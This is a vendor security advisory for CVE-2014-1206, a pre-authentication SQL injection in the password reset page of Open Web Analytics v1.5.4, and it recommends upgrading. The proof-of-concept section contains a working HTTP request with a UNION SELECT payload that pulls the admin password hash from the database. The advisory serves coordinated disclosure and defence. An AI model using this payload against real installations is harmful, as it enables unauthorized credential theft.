

Security Advisory SWRX-2014-001

Open Web Analytics Pre-Auth SQL Injection

Dell SecureWorks Counter Threat Unit™ Threat Intelligence

Advisory Information

Title: Open Web Analytics Pre-Auth SQL Injection Advisory ID: SWRX-2014-001 Advisory URL: http://www.secureworks.com/cyber-threat-intelligence/advisories/SWRX-2014-001/ Date published: Thursday, January 9, 2014 CVE: CVE-2014-1206 CVSS v2 base score: 7.5 Date of last update: Wednesday, January 8, 2014 Vendors contacted: Open Web Analytics Release mode: Coordinated Discovered by: Dana James Traversie, Dell SecureWorks

Summary

<u>Open Web Analytics</u> (OWA) is open source web analytics software that can track and analyze how visitors use websites and applications. OWA is vulnerable to SQL injection that allows an attacker to execute arbitrary SQL statements in the context of the configured OWA database user without authenticating to the web application.

Affected products

This vulnerability affects Open Web Analytics v1.5.4.

Vendor information, solutions, and workarounds

The vendor has released an updated version to address this vulnerability. OWA users should upgrade to version v1.5.5 or later.

Details

An SQL injection vulnerability exists in Open Web Analytics v1.5.4 due to insufficient input validation of the 'owa_email_address' parameter on the password reset page. The password reset page does not require user authentication. A remote attacker can leverage this issue to execute arbitrary SQL statements in the context of the configured OWA database user. The impact of the vulnerability varies based on the deployment and configuration of the OWA, database, and web server software. Successful exploitation could result in complete loss of confidentiality, integrity, and availability in the OWA database and may affect the entire underlying database management system. This issue could also lead to operating system compromise under the right conditions.



CVSS severity (version 2.0)

Access vector: Network Access complexity: Low Authentication: None Impact type: Manipulation of SQL queries and execution of arbitrary SQL commands on the underlying database Confidentiality impact: Partial Integrity impact: Partial Availability impact: Partial CVSS v2 base score: 7.5 CVSS v2 impact subscore: 6.4 CVSS v2 exploitability subscore: 10 CVSS v2 vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P)

Proof of concept

The presence of the SQL injection vulnerability can be confirmed by sending the following HTTP request to a vulnerable OWA installation:

POST /owa/index.php?owa_do=base.passwordResetForm HTTP/1.1

owa_submit=Request+New+Password&owa_action=base.passwordResetRequest&owa_email_address =-

4534%27+UNION+ALL+SELECT+3627%2C3627%2C3627%2C3627%2C3627%2CCONCAT%280x7177766871%2CIF NULL%28CAST%28password+AS+CHAR%29%2C0x20%29%2C0x7176627971%29%2C3627%2C3627%2C3627%2C3 627+FROM+owa.owa_user+LIMIT+0%2C1%23

Vulnerable instances of OWA will include the password hash of the OWA admin user in the HTTP response (see Figure 1).



Figure 1. HTTP response showing the password hash of the OWA admin user. (Source: Dell SecureWorks)

Revision history

1.0 2014-01-09: Initial advisory release

PGP keys

This advisory has been signed with the Dell SecureWorks Counter Threat Unit[™] PGP key, which is available for download at <u>http://www.secureworks.com/SecureWorksCTU.asc</u>.



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